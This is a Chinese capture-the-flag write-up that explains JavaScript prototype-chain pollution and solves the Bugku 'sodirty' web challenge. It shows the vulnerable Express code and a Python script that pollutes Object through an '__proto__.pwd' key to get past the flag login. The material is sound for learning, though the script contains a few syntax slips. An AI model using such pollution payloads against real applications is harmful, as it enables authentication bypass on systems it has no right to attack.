Javascript Prototype污染攻击(原型链污染,Bugku-web-sodirty wp)
prototype
它表示原型,样本,标准。
在javascript中,你使用构造函数时会创建一些属性和方法。
在构造方法时,你书写了函数的内容,那么,当你每创建一次对象时就会执行一次函数内容并将方法绑定在新的对象上。
如果你希望早创建类时仅创建一次该方法,同时绑定在“类”上,也就是任何实例化对象都可以直接访问该方法,当然你通过类也可以,并且只有一份。你就需要使用prototype
类名.prototype.方法名 = function 方法名() {函数内容}
这样就能够仅创建一份了。
虽然任何实例化对象都可以使用到这个方法,但是如果你想访问到那个唯一的一份函数,由于绑定在“类”上,你要通过“类”来访问到那个唯一的一份(关键字为prototype),如果你坚持要使用对象来访问到那个唯一的一份,你还需另外的关键字( __ prototype __ )
也就是说:
foo.__proto__ == Foo.prototype
总结:
1.prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
2.一个对象的__proto__属性,指向这个对象所在的类的prototype属性
原型链继承
javascript是通过原型链来进行继承的。
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
输出结果为:
Name: Melania Trump
总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:
1.在对象son中寻找last_name
2.如果找不到,则在son.__proto__中寻找last_name
3.如果仍然找不到,则继续在son.proto.__proto__中寻找last_name
4.依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null
就像是链条一样。
原型链污染
foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,就可以修改Foo类。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
原型链污染常见情况和条件
我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
1.对象merge
2.对象clone
(其实内核就是将待操作的对象merge到一个空对象中)
例如:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
o3也具有b属性,说明Object已经被污染。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
上述知识部分参考链接:
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype__proto__
例题:Bugku-web-sodirty
打开题目后仅有一个注册按键,点击后显示创建成功。
首先用后台工具扫描,御剑、dirsearch、dirmap都可以。
扫出一个www.zip文件
打开就是后端源码,搜索以下’flag’或者"index"关键字。
进入index.js,得到:
var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const Admin = {
"password":process.env.password?process.env.password:"password"
}
router.post("/getflag", function (req, res, next) {
if (req.body.password === undefined || req.body.password === req.session.challenger.password){
res.send("登录失败");
}else{
if(req.session.challenger.age > 79){
res.send("糟老头子坏滴很");
}
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag ? process.env.flag : "flag{test}");
}else {
res.send("密码错误,请使用管理员用户名登录.");
}
}
});
router.get('/reg', function (req, res, next) {
req.session.challenger = {
"username": "user",
"password": "pass",
"age": 80
}
res.send("用户创建成功!");
});
router.get('/', function (req, res, next) {
res.redirect('index');
});
router.get('/index', function (req, res, next) {
res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
if(req.session.challenger === undefined){
res.redirect('/reg');
}else{
if (req.body.attrkey === undefined || req.body.attrval === undefined) {
res.send("传参有误");
}else {
let key = req.body.attrkey.toString();
let value = req.body.attrval.toString();
setFn(req.session.challenger, key, value);
res.send("修改成功");
}
}
});
module.exports = router;
你可以知道:
1.对应网页有着不同功能,/reg
能够默认创建一个字典,/update
能够修改新的数据,/getflag
是取得flag的地方。
2.如果你要进行修改,你需要:
首先要有req.session.challenger
用attrkey,attrval以post的形式传参,传参的结果以键值对的形式存在。
3.如果要取得flag,你需要:
post传参
修改password
age参数小于79
admin中存在完好键值对
思路:满足其他条件的同时,使用原型链污染,让Object对象有一个属性,这样就可以利用那个属性进行登录。
脚本参考:
import requests
import random
s = requests.session() #保持会话
def reg(url):
url=url+"reg"
r=s.get(url)
print(r.text)
def update(url,data):
url=url+"update"
print(url)
r=s.post(url,data=data)
print(r.text)
def getflag(url,data):
url=url+"getflag"
r=s.post(url,data=data)
print(r.text)
url="http://114.67.246.176:12965/"
reg(url)// 先取得req.session.changer
data={"attrkey":"age","attrval":"40"}
update(url,data)//post对年龄进行更新
data={"attrkey":"__proto__.pwd","attrval":"222"}
update(url,data)//原型链污染,Object有了这样一个属性
data={"password":"222","key":"pwd"}
getflag(url,data)//利用污染的进行登录